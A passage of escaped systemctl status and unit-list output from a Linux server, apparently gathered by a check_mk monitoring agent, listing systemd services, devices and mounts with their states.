ExecStart=/usr/lib/systemd/systemd-fsck %f (code=exited, status=0/SUCCESS)\\n Main PID: 853 (code=exited, status=0/SUCCESS)\\n\\n* systemd-hwdb-update.service - Rebuild Hardware Database\\n Loaded: loaded (/usr/lib/systemd/system/systemd-hwdb-update.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n ConditionNeedsUpdate=/etc was not met\\n Docs: man:hwdb(7)\\n man:systemd-hwdb(8)\\n\\n* systemd-initctl.service - /dev/initctl Compatibility Daemon\\n Loaded: loaded (/usr/lib/systemd/system/systemd-initctl.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:systemd-initctl.service(8)\\n\\n* systemd-journal-catalog-update.service - Rebuild Journal Catalog\\n Loaded: loaded (/usr/lib/systemd/system/systemd-journal-catalog-update.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n ConditionNeedsUpdate=/etc was not met\\n Docs: man:systemd-journald.service(8)\\n man:journald.conf(5)\\n\\n* systemd-journal-flush.service - Flush Journal to Persistent Storage\\n Loaded: loaded (/usr/lib/systemd/system/systemd-journal-flush.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-journald.service(8)\\n man:journald.conf(5)\\n Process: 703 ExecStart=/usr/bin/journalctl --flush (code=exited, status=0/SUCCESS)\\n Main PID: 703 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-journal-flush.service\\n\\n* systemd-journald.service - Journal Service\\n Loaded: loaded (/usr/lib/systemd/system/systemd-journald.service; static; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-journald.service(8)\\n man:journald.conf(5)\\n Main PID: 675 (systemd-journal)\\n Status: \\\"Processing requests...\\\"\\n Tasks: 1\\n Memory: 385.2M\\n CGroup: /system.slice/systemd-journald.service\\n `-675 /usr/lib/systemd/systemd-journald\\n\\n* systemd-logind.service - Login Service\\n Loaded: loaded (/usr/lib/systemd/system/systemd-logind.service; static; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:systemd-logind.service(8)\\n man:logind.conf(5)\\n http://www.freedesktop.org/wiki/Software/systemd/logind\\n http://www.freedesktop.org/wiki/Software/systemd/multiseat\\n Main PID: 961 (systemd-logind)\\n Status: \\\"Processing requests...\\\"\\n Tasks: 1\\n Memory: 320.0K\\n CGroup: /system.slice/systemd-logind.service\\n `-961 /usr/lib/systemd/systemd-logind\\n\\n* systemd-machine-id-commit.service - Commit a transient machine-id on disk\\n Loaded: loaded (/usr/lib/systemd/system/systemd-machine-id-commit.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n ConditionPathIsMountPoint=/etc/machine-id was not met\\n Docs: man:systemd-machine-id-commit.service(8)\\n\\n* systemd-modules-load.service - Load Kernel Modules\\n Loaded: loaded (/usr/lib/systemd/system/systemd-modules-load.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n none of the trigger conditions were met\\n Docs: man:systemd-modules-load.service(8)\\n man:modules-load.d(5)\\n\\n* systemd-random-seed.service - Load/Save Random Seed\\n Loaded: loaded (/usr/lib/systemd/system/systemd-random-seed.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-random-seed.service(8)\\n man:random(4)\\n Process: 732 ExecStart=/usr/lib/systemd/systemd-random-seed load (code=exited, status=0/SUCCESS)\\n Main PID: 732 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-random-seed.service\\n\\n* systemd-readahead-collect.service - Collect Read-Ahead Data\\n Loaded: loaded (/usr/lib/systemd/system/systemd-readahead-collect.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-readahead-replay.service(8)\\n Process: 686 ExecStart=/usr/lib/systemd/systemd-readahead collect (code=exited, status=0/SUCCESS)\\n Main PID: 686 (code=exited, status=0/SUCCESS)\\n Status: \\\"Collecting readahead data\\\"\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-readahead-collect.service\\n\\n* systemd-readahead-done.service - Stop Read-Ahead Data Collection\\n Loaded: loaded (/usr/lib/systemd/system/systemd-readahead-done.service; indirect; vendor preset: enabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:33:09 -05; 9 months 10 days ago\\n Docs: man:systemd-readahead-replay.service(8)\\n Process: 4270 ExecStart=/usr/bin/systemd-notify --readahead=done (code=exited, status=0/SUCCESS)\\n Main PID: 4270 (code=exited, status=0/SUCCESS)\\n\\n* systemd-readahead-replay.service - Replay Read-Ahead Data\\n Loaded: loaded (/usr/lib/systemd/system/systemd-readahead-replay.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-readahead-replay.service(8)\\n Process: 683 ExecStart=/usr/lib/systemd/systemd-readahead replay (code=exited, status=0/SUCCESS)\\n Main PID: 683 (code=exited, status=0/SUCCESS)\\n Status: \\\"Replaying readahead data\\\"\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-readahead-replay.service\\n\\n* systemd-reboot.service - Reboot\\n Loaded: loaded (/usr/lib/systemd/system/systemd-reboot.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:systemd-halt.service(8)\\n\\n* systemd-remount-fs.service - Remount Root and Kernel File Systems\\n Loaded: loaded (/usr/lib/systemd/system/systemd-remount-fs.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-remount-fs.service(8)\\n http://www.freedesktop.org/wiki/Software/systemd/APIFileSystems\\n Process: 696 ExecStart=/usr/lib/systemd/systemd-remount-fs (code=exited, status=0/SUCCESS)\\n Main PID: 696 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-remount-fs.service\\n\\n* systemd-shutdownd.service - Delayed Shutdown Service\\n Loaded: loaded (/usr/lib/systemd/system/systemd-shutdownd.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:systemd-shutdownd.service(8)\\n\\n* systemd-sysctl.service - Apply Kernel Variables\\n Loaded: loaded (/usr/lib/systemd/system/systemd-sysctl.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-sysctl.service(8)\\n man:sysctl.d(5)\\n Process: 694 ExecStart=/usr/lib/systemd/systemd-sysctl (code=exited, status=0/SUCCESS)\\n Main PID: 694 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-sysctl.service\\n\\n* systemd-tmpfiles-clean.service - Cleanup of Temporary Directories\\n Loaded: loaded (/usr/lib/systemd/system/systemd-tmpfiles-clean.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Wed 2024-02-14 02:57:17 -05; 4h 52min ago\\n Docs: man:tmpfiles.d(5)\\n man:systemd-tmpfiles(8)\\n Process: 14788 ExecStart=/usr/bin/systemd-tmpfiles --clean (code=exited, status=0/SUCCESS)\\n Main PID: 14788 (code=exited, status=0/SUCCESS)\\n\\n* systemd-tmpfiles-setup-dev.service - Create Static Device Nodes in /dev\\n Loaded: loaded (/usr/lib/systemd/system/systemd-tmpfiles-setup-dev.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:tmpfiles.d(5)\\n man:systemd-tmpfiles(8)\\n Process: 693 ExecStart=/usr/bin/systemd-tmpfiles --prefix=/dev --create --boot (code=exited, status=0/SUCCESS)\\n Main PID: 693 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-tmpfiles-setup-dev.service\\n\\n* systemd-tmpfiles-setup.service - Create Volatile Files and Directories\\n Loaded: loaded (/usr/lib/systemd/system/systemd-tmpfiles-setup.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:tmpfiles.d(5)\\n man:systemd-tmpfiles(8)\\n Process: 928 ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev (code=exited, status=0/SUCCESS)\\n Main PID: 928 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-tmpfiles-setup.service\\n\\n* systemd-udev-trigger.service - udev Coldplug all Devices\\n Loaded: loaded (/usr/lib/systemd/system/systemd-udev-trigger.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:udev(7)\\n man:systemd-udevd.service(8)\\n Process: 730 ExecStart=/usr/bin/udevadm trigger --type=devices --action=add (code=exited, status=0/SUCCESS)\\n Process: 705 ExecStart=/usr/bin/udevadm trigger --type=subsystems --action=add (code=exited, status=0/SUCCESS)\\n Main PID: 730 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-udev-trigger.service\\n\\n* systemd-udevd.service - udev Kernel Device Manager\\n Loaded: loaded (/usr/lib/systemd/system/systemd-udevd.service; static; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:systemd-udevd.service(8)\\n man:udev(7)\\n Main PID: 710 (systemd-udevd)\\n Status: \\\"Processing with 56 children at max\\\"\\n Tasks: 1\\n Memory: 4.0M\\n CGroup: /system.slice/systemd-udevd.service\\n `-710 /usr/lib/systemd/systemd-udevd\\n\\n* systemd-update-done.service - Update is Completed\\n Loaded: loaded (/usr/lib/systemd/system/systemd-update-done.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n none of the trigger conditions were met\\n Docs: man:systemd-update-done.service(8)\\n\\n* systemd-update-utmp-runlevel.service - Update UTMP about System Runlevel Changes\\n Loaded: loaded (/usr/lib/systemd/system/systemd-update-utmp-runlevel.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:39 -05; 9 months 10 days ago\\n Docs: man:systemd-update-utmp.service(8)\\n man:utmp(5)\\n Process: 2482 ExecStart=/usr/lib/systemd/systemd-update-utmp runlevel (code=exited, status=0/SUCCESS)\\n Main PID: 2482 (code=exited, status=0/SUCCESS)\\n\\n* systemd-update-utmp.service - Update UTMP about System Boot/Shutdown\\n Loaded: loaded (/usr/lib/systemd/system/systemd-update-utmp.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:systemd-update-utmp.service(8)\\n man:utmp(5)\\n Process: 953 ExecStart=/usr/lib/systemd/systemd-update-utmp reboot (code=exited, status=0/SUCCESS)\\n Main PID: 953 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-update-utmp.service\\n\\n* systemd-user-sessions.service - Permit User Sessions\\n Loaded: loaded (/usr/lib/systemd/system/systemd-user-sessions.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:systemd-user-sessions.service(8)\\n Process: 970 ExecStart=/usr/lib/systemd/systemd-user-sessions start (code=exited, status=0/SUCCESS)\\n Main PID: 970 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-user-sessions.service\\n\\n* systemd-vconsole-setup.service - Setup Virtual Console\\n Loaded: loaded (/usr/lib/systemd/system/systemd-vconsole-setup.service; static; vendor preset: disabled)\\n Active: active (exited) since Fri 2023-05-05 21:32:14 -05; 9 months 10 days ago\\n Docs: man:systemd-vconsole-setup.service(8)\\n man:vconsole.conf(5)\\n Main PID: 233 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-vconsole-setup.service\\n\\n* tuned.service - Dynamic System Tuning Daemon\\n Loaded: loaded (/usr/lib/systemd/system/tuned.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:29 -05; 9 months 10 days ago\\n Docs: man:tuned(8)\\n man:tuned.conf(5)\\n man:tuned-adm(8)\\n Main PID: 1280 (tuned)\\n Tasks: 5\\n Memory: 13.2M\\n CGroup: /system.slice/tuned.service\\n `-1280 /usr/bin/python2 -Es /usr/sbin/tuned -l -P\\n\\n* xinetd.service - Xinetd A Powerful Replacement For Inetd\\n Loaded: loaded (/usr/lib/systemd/system/xinetd.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:29 -05; 9 months 10 days ago\\n Process: 1284 ExecStart=/usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid $EXTRAOPTIONS (code=exited, status=0/SUCCESS)\\n Main PID: 1286 (xinetd)\\n Tasks: 7\\n Memory: 15.6M\\n CGroup: /system.slice/xinetd.service\\n |- 1286 /usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid\\n |-10296 /bin/bash /usr/bin/check_mk_agent\\n |-10328 /bin/bash /usr/bin/check_mk_agent\\n |-10329 /bin/bash /usr/bin/check_mk_agent\\n |-10330 cat\\n |-10353 systemctl status --all --type service --no-pager --lines 0\\n `-10354 tr -s \\n[all]\\n UNIT LOAD ACTIVE SUB \\n proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point\\n dev-block-8:5.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n dev-disk-by\\\\x2did-ata\\\\x2dMicron_M500DC_MTFDDAK480MBB_15170F6F7057.device loaded active plugged Micron_M500DC_MTFDDAK480MBB\\n dev-disk-by\\\\x2did-ata\\\\x2dMicron_M500DC_MTFDDAK480MBB_15170F6F7057\\\\x2dpart1.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 1\\n dev-disk-by\\\\x2did-ata\\\\x2dMicron_M500DC_MTFDDAK480MBB_15170F6F7057\\\\x2dpart2.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 2\\n dev-disk-by\\\\x2did-ata\\\\x2dMicron_M500DC_MTFDDAK480MBB_15170F6F7057\\\\x2dpart3.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 3\\n dev-disk-by\\\\x2did-ata\\\\x2dMicron_M500DC_MTFDDAK480MBB_15170F6F7057\\\\x2dpart4.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 4\\n dev-disk-by\\\\x2did-ata\\\\x2dMicron_M500DC_MTFDDAK480MBB_15170F6F7057\\\\x2dpart5.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n dev-disk-by\\\\x2did-dm\\\\x2dname\\\\x2dmyvg\\\\x2droot.device loaded active plugged /dev/disk/by-id/dm-name-myvg-root\\n dev-disk-by\\\\x2did-dm\\\\x2dname\\\\x2dmyvg\\\\x2dswap.device loaded active plugged /dev/disk/by-id/dm-name-myvg-swap\\n dev-disk-by\\\\x2did-dm\\\\x2dname\\\\x2dmyvg\\\\x2dtmp.device loaded active plugged /dev/disk/by-id/dm-name-myvg-tmp\\n dev-disk-by\\\\x2did-dm\\\\x2duuid\\\\x2dLVM\\\\x2d1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avEeKcPeRVlVyD1wLUxn3CsZ2VjWoKE0Uj.device loaded active plugged /dev/disk/by-id/dm-uuid-LVM-1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avEeKcPeRVlVyD1wLUxn3CsZ2VjWoKE0Uj\\n dev-disk-by\\\\x2did-dm\\\\x2duuid\\\\x2dLVM\\\\x2d1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avhFPEHcJMOfkV4Kli6FdlMut0M3nIplk6.device loaded active plugged /dev/disk/by-id/dm-uuid-LVM-1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avhFPEHcJMOfkV4Kli6FdlMut0M3nIplk6\\n dev-disk-by\\\\x2did-dm\\\\x2duuid\\\\x2dLVM\\\\x2d1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avQMyWqcXgk7TADM52jXyhqjM2CbqRSoLR.device loaded active plugged /dev/disk/by-id/dm-uuid-LVM-1QiDcsLaYWlTfj0HDTAcwn3reuOoa1avQMyWqcXgk7TADM52jXyhqjM2CbqRSoLR\\n dev-disk-by\\\\x2did-lvm\\\\x2dpv\\\\x2duuid\\\\x2dgdd61g\\\\x2deQM8\\\\x2d32Hg\\\\x2dRy1r\\\\x2dZuSo\\\\x2dHQkw\\\\x2dFOsm9z.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n dev-disk-by\\\\x2did-wwn\\\\x2d0x500a07510f6f7057.device loaded active plugged Micron_M500DC_MTFDDAK480MBB\\n dev-disk-by\\\\x2did-wwn\\\\x2d0x500a07510f6f7057\\\\x2dpart1.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 1\\n dev-disk-by\\\\x2did-wwn\\\\x2d0x500a07510f6f7057\\\\x2dpart2.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 2\\n dev-disk-by\\\\x2did-wwn\\\\x2d0x500a07510f6f7057\\\\x2dpart3.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 3\\n dev-disk-by\\\\x2did-wwn\\\\x2d0x500a07510f6f7057\\\\x2dpart4.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 4\\n dev-disk-by\\\\x2did-wwn\\\\x2d0x500a07510f6f7057\\\\x2dpart5.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n dev-disk-by\\\\x2dpath-pci\\\\x2d0000:00:1f.2\\\\x2data\\\\x2d1.0.device loaded active plugged Micron_M500DC_MTFDDAK480MBB\\n dev-disk-by\\\\x2dpath-pci\\\\x2d0000:00:1f.2\\\\x2data\\\\x2d1.0\\\\x2dpart1.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 1\\n dev-disk-by\\\\x2dpath-pci\\\\x2d0000:00:1f.2\\\\x2data\\\\x2d1.0\\\\x2dpart2.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 2\\n dev-disk-by\\\\x2dpath-pci\\\\x2d0000:00:1f.2\\\\x2data\\\\x2d1.0\\\\x2dpart3.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 3\\n dev-disk-by\\\\x2dpath-pci\\\\x2d0000:00:1f.2\\\\x2data\\\\x2d1.0\\\\x2dpart4.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 4\\n dev-disk-by\\\\x2dpath-pci\\\\x2d0000:00:1f.2\\\\x2data\\\\x2d1.0\\\\x2dpart5.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n dev-disk-by\\\\x2duuid-1d0e71c2\\\\x2d6424\\\\x2d483f\\\\x2dac40\\\\x2d55e1cce232f6.device loaded active plugged /dev/disk/by-uuid/1d0e71c2-6424-483f-ac40-55e1cce232f6\\n dev-disk-by\\\\x2duuid-2cc06eeb\\\\x2dff0e\\\\x2d417e\\\\x2dbd08\\\\x2df9ad5094062e.device loaded active plugged /dev/disk/by-uuid/2cc06eeb-ff0e-417e-bd08-f9ad5094062e\\n dev-disk-by\\\\x2duuid-7E3E\\\\x2dBCCA.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 3\\n dev-disk-by\\\\x2duuid-8d9196bd\\\\x2d3f1c\\\\x2d485e\\\\x2dbfb4\\\\x2d05c3f419bce9.device loaded active plugged /dev/disk/by-uuid/8d9196bd-3f1c-485e-bfb4-05c3f419bce9\\n dev-disk-by\\\\x2duuid-afb8eccd\\\\x2d5e82\\\\x2d4e15\\\\x2d9bb2\\\\x2da1a475e4eff2.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 2\\n dev-dm\\\\x2d0.device loaded active plugged /dev/dm-0\\n dev-dm\\\\x2d1.device loaded active plugged /dev/dm-1\\n dev-dm\\\\x2d2.device loaded active plugged /dev/dm-2\\n dev-mapper-myvg\\\\x2droot.device loaded active plugged /dev/mapper/myvg-root\\n dev-mapper-myvg\\\\x2dswap.device loaded active plugged /dev/mapper/myvg-swap\\n dev-mapper-myvg\\\\x2dtmp.device loaded active plugged /dev/mapper/myvg-tmp\\n dev-myvg-root.device loaded active plugged /dev/myvg/root\\n dev-myvg-swap.device loaded active plugged /dev/myvg/swap\\n dev-myvg-tmp.device loaded active plugged /dev/myvg/tmp\\n dev-sda.device loaded active plugged Micron_M500DC_MTFDDAK480MBB\\n dev-sda1.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 1\\n dev-sda2.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 2\\n dev-sda3.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 3\\n dev-sda4.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 4\\n dev-sda5.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n dev-ttyS0.device loaded active plugged /dev/ttyS0\\n dev-ttyS1.device loaded active plugged /dev/ttyS1\\n dev-ttyS2.device loaded active plugged /dev/ttyS2\\n dev-ttyS3.device loaded active plugged /dev/ttyS3\\n sys-devices-pci0000:00-0000:00:02.0-0000:02:00.0-net-enp2s0f0.device loaded active plugged 82599ES 10-Gigabit SFI/SFP+ Network Connection (AOC-STGN-I2S [REV 1.01])\\n sys-devices-pci0000:00-0000:00:02.0-0000:02:00.1-net-enp2s0f1.device loaded active plugged 82599ES 10-Gigabit SFI/SFP+ Network Connection (AOC-STGN-I2S [REV 1.01])\\n sys-devices-pci0000:00-0000:00:1f.2-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda1.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 1\\n sys-devices-pci0000:00-0000:00:1f.2-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda2.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 2\\n sys-devices-pci0000:00-0000:00:1f.2-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda3.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 3\\n sys-devices-pci0000:00-0000:00:1f.2-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda4.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 4\\n sys-devices-pci0000:00-0000:00:1f.2-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda5.device loaded active plugged Micron_M500DC_MTFDDAK480MBB 5\\n sys-devices-pci0000:00-0000:00:1f.2-ata1-host0-target0:0:0-0:0:0:0-block-sda.device loaded active plugged Micron_M500DC_MTFDDAK480MBB\\n sys-devices-platform-serial8250-tty-ttyS2.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS2\\n sys-devices-platform-serial8250-tty-ttyS3.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS3\\n sys-devices-pnp0-00:03-tty-ttyS0.device loaded active plugged /sys/devices/pnp0/00:03/tty/ttyS0\\n sys-devices-pnp0-00:04-tty-ttyS1.device loaded active plugged /sys/devices/pnp0/00:04/tty/ttyS1\\n sys-devices-virtual-block-dm\\\\x2d0.device loaded active plugged /sys/devices/virtual/block/dm-0\\n sys-devices-virtual-block-dm\\\\x2d1.device loaded active plugged /sys/devices/virtual/block/dm-1\\n sys-devices-virtual-block-dm\\\\x2d2.device loaded active plugged /sys/devices/virtual/block/dm-2\\n sys-devices-virtual-net-docker0.device loaded active plugged /sys/devices/virtual/net/docker0\\n sys-module-configfs.device loaded active plugged /sys/module/configfs\\n sys-subsystem-net-devices-docker0.device loaded active plugged /sys/subsystem/net/devices/docker0\\n sys-subsystem-net-devices-enp2s0f0.device loaded active plugged 82599ES 10-Gigabit SFI/SFP+ Network Connection (AOC-STGN-I2S [REV 1.01])\\n sys-subsystem-net-devices-enp2s0f1.device loaded active plugged 82599ES 10-Gigabit SFI/SFP+ Network Connection (AOC-STGN-I2S [REV 1.01])\\n -.mount loaded active mounted /\\n boot-efi.mount loaded active mounted /boot/efi\\n boot.mount loaded active mounted /boot\\n dev-hugepages.mount loaded active mounted Huge Pages File System\\n dev-mqueue.mount loaded active mounted POSIX Message Queue File System\\n proc-sys-fs-binfmt_misc.mount loaded active mounted Arbitrary Executable File Formats File System\\n run-user-0.mount loaded active mounted /run/user/0\\n sys-fs-fuse-connections.mount loaded inactive dead FUSE Control File System\\n sys-kernel-config.mount loaded active mounted Configuration File System\\n sys-kernel-debug.mount loaded active mounted Debug File System\\n* sysroot.mount not-found inactive dead sysroot.mount\\n tmp.mount loaded active mounted /tmp\\n systemd-ask-password-console.path loaded inactive dead Dispatch Password Requests to Console Directory Watch\\n systemd-ask-password-plymouth.path loaded active waiting Forward Password Requests to Plymouth Directory Watch\\n systemd-ask-password-wall.path loaded active waiting Forward Password Requests to Wall Directory Watch\\n session-1180.scope loaded active abandoned Session 1180 of user root\\n* 3proxy.service loaded failed failed 3proxy Proxy Server\\n add_ips.service loaded inactive dead add ip ranges\\n auditd.service loaded active running Security Auditing Service\\n chronyd.service loaded active running NTP client/server\\n containerd.service loaded active running containerd container runtime\\n cpupower.service loaded inactive dead Configure CPU power related settings\\n crond.service loaded active running Command Scheduler\\n dbus.service loaded active running D-Bus System Message Bus\\n* display-manager.service not-found inactive dead display-manager.service\\n dm-event.service loaded inactive dead Device-mapper event daemon\\n docker.service loaded active running Docker Application Container Engine\\n dracut-cmdline.service loaded inactive dead dracut cmdline hook\\n dracut-initqueue.service loaded inactive dead dracut initqueue hook\\n dracut-mount.service loaded inactive dead dracut mount hook\\n dracut-pre-mount.service loaded inactive dead dracut pre-mount hook\\n dracut-pre-pivot.service loaded inactive dead dracut pre-pivot and cleanup hook\\n dracut-pre-trigger.service loaded inactive dead dracut pre-trigger hook\\n dracut-pre-udev.service loaded inactive dead dracut pre-udev hook\\n dracut-shutdown.service loaded inactive dead Restore /run/initramfs\\n emergency.service loaded inactive dead Emergency Shell\\n* exim.service not-found inactive dead exim.service\\n* firewalld.service masked inactive dead firewalld.service\\n getty@tty1.service loaded active running Getty on tty1\\n httpd.service loaded active running The Apache HTTP Server\\n initrd-cleanup.service loaded inactive dead Cleaning Up and Shutting Down Daemons\\n initrd-parse-etc.service loaded inactive dead Reload Configuration from the Real Root\\n initrd-switch-root.service loaded inactive dead Switch Root\\n initrd-udevadm-cleanup-db.service loaded inactive dead Cleanup udevd DB\\n ip6tables.service loaded inactive dead IPv6 firewall with ip6tables\\n iptables.service loaded active exited IPv4 firewall with iptables\\n irqbalance.service loaded active running irqbalance daemon\\n kdump.service loaded active exited Crash recovery kernel arming\\n kmod-static-nodes.service loaded active exited Create list of required static device nodes for the current kernel\\n* lvm2-activation.service not-found inactive dead lvm2-activation.service\\n lvm2-lvmetad.service loaded active running LVM2 metadata daemon\\n lvm2-lvmpolld.service loaded inactive dead LVM2 poll daemon\\n lvm2-monitor.service loaded active exited Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling\\n lvm2-pvscan@8:5.service loaded active exited LVM2 PV scan on device 8:5\\n microcode.service loaded inactive dead Load CPU microcode update\\n network.service loaded active exited LSB: Bring up/down networking\\n NetworkManager-wait-online.service loaded active exited Network Manager Wait Online\\n NetworkManager.service loaded active running Network Manager\\n* ntpd.service not-found inactive dead ntpd.service\\n* ntpdate.service not-found inactive dead ntpdate.service\\n plymouth-quit-wait.service loaded inactive dead Wait for Plymouth Boot Screen to Quit\\n plymouth-quit.service loaded inactive dead Terminate Plymouth Boot Screen\\n plymouth-read-write.service loaded inactive dead Tell Plymouth To Write Out Runtime Data\\n plymouth-start.service loaded inactive dead Show Plymouth Boot Screen\\n plymouth-switch-root.service loaded inactive dead Plymouth switch root service\\n polkit.service loaded active running Authorization Manager\\n postfix.service loaded active running Postfix Mail Transport Agent\\n rc-local.service loaded inactive dead /etc/rc.d/rc.local Compatibility\\n rescue.service loaded inactive dead Rescue Shell\\n rhel-autorelabel-mark.service loaded inactive dead Mark the need to relabel after reboot\\n rhel-autorelabel.service loaded inactive dead Relabel all filesystems, if necessary\\n rhel-configure.service loaded inactive dead Reconfigure the system on administrator request\\n rhel-dmesg.service loaded active exited Dump dmesg to /var/log/dmesg\\n rhel-domainname.service loaded active exited Read and set NIS domainname from /etc/sysconfig/network\\n rhel-import-state.service loaded active exited Import network configuration from initramfs\\n rhel-loadmodules.service loaded inactive dead Load legacy module configuration\\n rhel-readonly.service loaded active exited Configure read-only root support\\n rsyslog.service loaded active running System Logging Service\\n selinux-policy-migrate-local-changes@targeted.service loaded inactive dead Migrate local SELinux policy changes from the old store structure to the new structure\\n* sendmail.service not-found inactive dead sendmail.service\\n* sntp.service not-found inactive dead sntp.service\\n sshd-keygen.service loaded inactive dead OpenSSH Server Key Generation\\n sshd.service loaded active running OpenSSH server daemon\\n* syslog.service not-found inactive dead syslog.service\\n systemd-ask-password-console.service loaded inactive dead Dispatch Password Requests to Console\\n systemd-ask-password-plymouth.service loaded inactive dead Forward Password Requests to Plymouth\\n systemd-ask-password-wall.service loaded inactive dead Forward Password Requests to Wall\\n systemd-binfmt.service loaded inactive dead Set Up Additional Binary Formats\\n systemd-firstboot.service loaded inactive dead First Boot Wizard\\n systemd-fsck-root.service loaded active 